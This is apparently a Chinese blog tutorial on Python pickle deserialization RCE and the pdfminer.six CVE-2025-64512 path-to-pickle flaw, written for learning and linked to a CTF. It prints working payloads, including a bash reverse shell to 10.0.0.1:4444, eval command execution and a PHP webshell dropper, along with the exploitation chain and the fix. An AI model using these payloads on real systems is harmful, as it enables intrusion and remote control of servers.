Python反序列化漏洞详解与pdfminer CVE-2025-64512利用分析

1. 序列化与反序列化基础

什么是序列化?

序列化 (Serialization) 是将对象的状态信息转换为可以存储或传输的格式的过程。 反序列化 (Deserialization) 是序列化的逆过程,将字节流恢复为对象。

为什么需要序列化?

# 场景1: 持久化存储
user_data = {'name': 'Alice', 'age': 25}
# 需要保存到文件中,下次程序启动时恢复

# 场景2: 网络传输
# 需要在客户端和服务器之间传输复杂对象

# 场景3: 缓存
# 将计算结果序列化后存入Redis等缓存系统

Python 中的序列化方法

方法 特点 安全性
pickle Python专用,支持几乎所有Python对象 不安全
json 跨语言,只支持基本数据类型 相对安全
yaml 人类可读,功能丰富 需谨慎配置
marshal Python内部使用,不稳定 不安全

2. Python pickle 模块原理

基本使用

import pickle

# 序列化
data = {'name': 'Alice', 'scores': [90, 85, 92]}
serialized = pickle.dumps(data)  # 返回bytes
print(serialized)  # b'\x80\x04\x95...'

# 反序列化
restored = pickle.loads(serialized)
print(restored)  # {'name': 'Alice', 'scores': [90, 85, 92]}

pickle 的工作原理

pickle 使用一种栈式虚拟机来执行序列化和反序列化:

import pickletools

data = {'key': 'value'}
serialized = pickle.dumps(data)

# 查看pickle的操作码
pickletools.dis(serialized)

输出示例:

    0: \x80 PROTO      4
    2: \x95 FRAME      23
   11: }    EMPTY_DICT
   12: \x94 MEMOIZE    (as 0)
   13: \x8c SHORT_BINUNICODE 'key'
   18: \x94 MEMOIZE    (as 1)
   19: \x8c SHORT_BINUNICODE 'value'
   26: \x94 MEMOIZE    (as 2)
   27: s    SETITEM
   28: .    STOP

关键操作码

操作码 含义
c 导入模块和类
o 构建对象(调用 __init__)
R REDUCE,调用可调用对象
b BUILD,调用 __setstate__
i INST,实例化对象

3. pickle 反序列化漏洞原理

核心问题

pickle.loads() 会执行序列化数据中包含的任意代码!

这是因为 pickle 支持序列化任意 Python 对象,包括:

  • 函数
  • 可调用对象
  • 甚至可以导入任意模块

最简单的 POC

import pickle
import os

# 构造恶意payload
class Evil:
    def __reduce__(self):
        # __reduce__方法定义了对象如何被序列化
        # 返回(可调用对象, 参数元组)
        return (os.system, ('whoami',))

# 序列化恶意对象
payload = pickle.dumps(Evil())
print(payload)

# 反序列化时会执行命令!
pickle.loads(payload)  # 执行 whoami

__reduce__ 魔术方法

__reduce__ 是 pickle 反序列化的关键:

def __reduce__(self):
    """
    返回值格式:
    (callable, args, state, listitems, dictitems)
    
    - callable: 可调用对象(函数/类)
    - args: callable的参数元组
    - state: 可选,传给__setstate__
    - listitems: 可选,列表元素
    - dictitems: 可选,字典元素
    """
    return (os.system, ('id',))

当执行 pickle.loads() 时:

  1. pickle 解析字节流
  2. 遇到 REDUCE 操作码 (R)
  3. 从栈中弹出 callable 和 args
  4. 执行 callable(*args)
  5. 命令被执行!

4. 常见的 pickle 攻击方法

方法 1: 直接命令执行

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"',))

payload = pickle.dumps(RCE())

方法 2: 使用 eval

class EvalRCE:
    def __reduce__(self):
        return (eval, ("__import__('os').system('whoami')",))

payload = pickle.dumps(EvalRCE())

方法 3: 使用 builtins

class BuiltinsRCE:
    def __reduce__(self):
        import builtins
        cmd = "__import__('os').system('id')"
        return (builtins.eval, (cmd,))

payload = pickle.dumps(BuiltinsRCE())

方法 4: 反弹 shell

class ReverseShell:
    def __reduce__(self):
        import builtins
        cmd = "__import__('os').system('bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\"')"
        return (builtins.eval, (cmd,))

payload = pickle.dumps(ReverseShell(), protocol=2)

方法 5: 写入 webshell

class WriteShell:
    def __reduce__(self):
        code = "open('/var/www/html/shell.php','w').write('<?php system($_GET[\"cmd\"]);?>')"
        return (eval, (code,))

payload = pickle.dumps(WriteShell())

查看生成的 pickle 字节流

import pickletools

payload = pickle.dumps(RCE())
pickletools.dis(payload)

5. pdfminer.six CVE-2025-64512 漏洞详解

OK,讲人话环节!漏洞到底是怎么来的?

pickle.loads(gzfile.read()) 就是这么一小行代码,它执行了反序列化,反序列的数据来自于解压一个 gz 文件读取。

什么时候会执行这个代码?

需要构建新字体的时候,也就是在我们输入的 pdf 文件中用到了这么一个所谓“新字体”的时候,呃呃,大概是这样。

解析 Font 字典,然后解码后发现路径为 /proc/self/cwd/uploads/evil,那么程序就会去读取我们所构建的 evil.pickle.gz 文件。

调用链非常非常长啊,这才是这个东西的难点(哭。

漏洞信息

  • CVE编号: CVE-2025-64512
  • CVSS评分: 8.6 (高危)
  • 影响版本: pdfminer.six < 20251107
  • 漏洞类型: 不安全反序列化 (Unsafe Deserialization)
  • 修复版本: 20251107 (但修复不完整!)

漏洞位置

文件: pdfminer/cmapdb.py

class CMapDB:
    @classmethod
    def _load_data(cls, name: str) -> Any:
        name = name.replace("\0", "")
        filename = "%s.pickle.gz" % name  # 拼接文件名
        
        cmap_paths = (
            os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
            os.path.join(os.path.dirname(__file__), "cmap"),
        )
        
        for directory in cmap_paths:
            path = os.path.join(directory, filename)
            if os.path.exists(path):
                gzfile = gzip.open(path)
                try:
                    # 危险! 直接反序列化pickle数据
                    return type(str(name), (), pickle.loads(gzfile.read()))
                finally:
                    gzfile.close()

漏洞触发链

完整的调用链:

1. extract_pages(pdf_path)
   ↓
2. PDFPageInterpreter.process_page(page)
   ↓
3. PDFPageInterpreter.render_contents(resources, contents)
   ↓
4. PDFPageInterpreter.init_resources(resources)
   ↓
5. PDFResourceManager.get_font(objid, spec)
   ↓
6. PDFCIDFont.__init__(rsrcmgr, spec, strict)
   ↓
7. PDFCIDFont.get_cmap_from_spec(spec, strict)
   ↓
8. CMapDB.get_cmap(cmap_name)
   ↓
9. CMapDB._load_data(name)
   ↓
10. pickle.loads(gzfile.read())  ← RCE!

关键点分析

1. 如何控制加载的文件?

PDF 中的 /Encoding 字段可以指定 CMap 名称:

# PDFName对象会将 #2F 解码为 /
enc_name = "/#2Fproc#2Fself#2Fcwd#2Fuploads#2Fevil"
# 解码后: /proc/self/cwd/uploads/evil

然后 pdfminer 会加载: /proc/self/cwd/uploads/evil.pickle.gz

2. 为什么使用 /proc/self/cwd?

  • /proc/self/cwd 是当前进程工作目录的符号链接
  • 等价于当前目录,但绕过了相对路径限制
  • 可以访问应用上传目录

3. 如何绕过 PDF 格式检查?

应用会检查是否为合法 PDF:

parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser)  # 必须能成功解析

解决方案: 构造 polyglot 文件 (既是 PDF 又是 GZIP)

2. 官方修复方案

官方并没有移除 pickle.loads(因为这是其加载内部资源的方式),而是实施了严格的路径白名单检查

修复代码 (pdfminer/cmapdb.py)

@classmethod
def _load_data(cls, name: str) -> Any:
    # ... (省略)
    filename = "%s.pickle.gz" % name
    
    # 定义受信任的资源目录 (白名单)
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        
        # [修复关键点 1] 解析绝对物理路径,消除 symlink 和 '..'
        resolved_path = os.path.realpath(path)
        resolved_directory = os.path.realpath(directory)
        
        # [修复关键点 2] 强制检查:文件必须在受信任目录内
        if not resolved_path.startswith(resolved_directory + os.sep):
            continue  # 如果路径跳出了受信任目录,直接跳过
            
        if os.path.exists(resolved_path):
            gzfile = gzip.open(resolved_path)
            try:
                # 虽然仍使用 pickle,但现在只能加载白名单目录下的文件
                return type(str(name), (), pickle.loads(gzfile.read()))
            finally:
                gzfile.close()

3. 修复原理分析

A. 防御路径穿越 (Path Traversal)

使用 os.path.realpath(path) 将路径标准化。

  • 输入 ../../uploads/evil 会被还原为 /app/uploads/evil
  • 之前的利用技巧 /proc/self/cwd(软链接)也会被还原为真实的物理路径。

B. 目录逃逸检测 (Directory Sandbox)

使用 startswith(resolved_directory) 进行校验。

  • 系统会将文件的真实物理路径受信任目录(如 /usr/share/pdfminer/)进行比对。
  • 攻击者上传的文件通常位于 /tmp//app/uploads/
  • 由于 /app/uploads/evil.pickle.gz 不以 /usr/share/pdfminer/ 开头,检查失败,程序拒绝加载。

4. 结论

官方通过切断文件加载路径的方式修复了漏洞。虽然危险函数 pickle.loads 依然存在,但攻击者无法再让程序加载外部恶意文件,攻击链因此中断。


这部分都是理论知识基础,我对这个漏洞的认知来自 WMCTF 2025,感兴趣可以查看另一篇博客 :)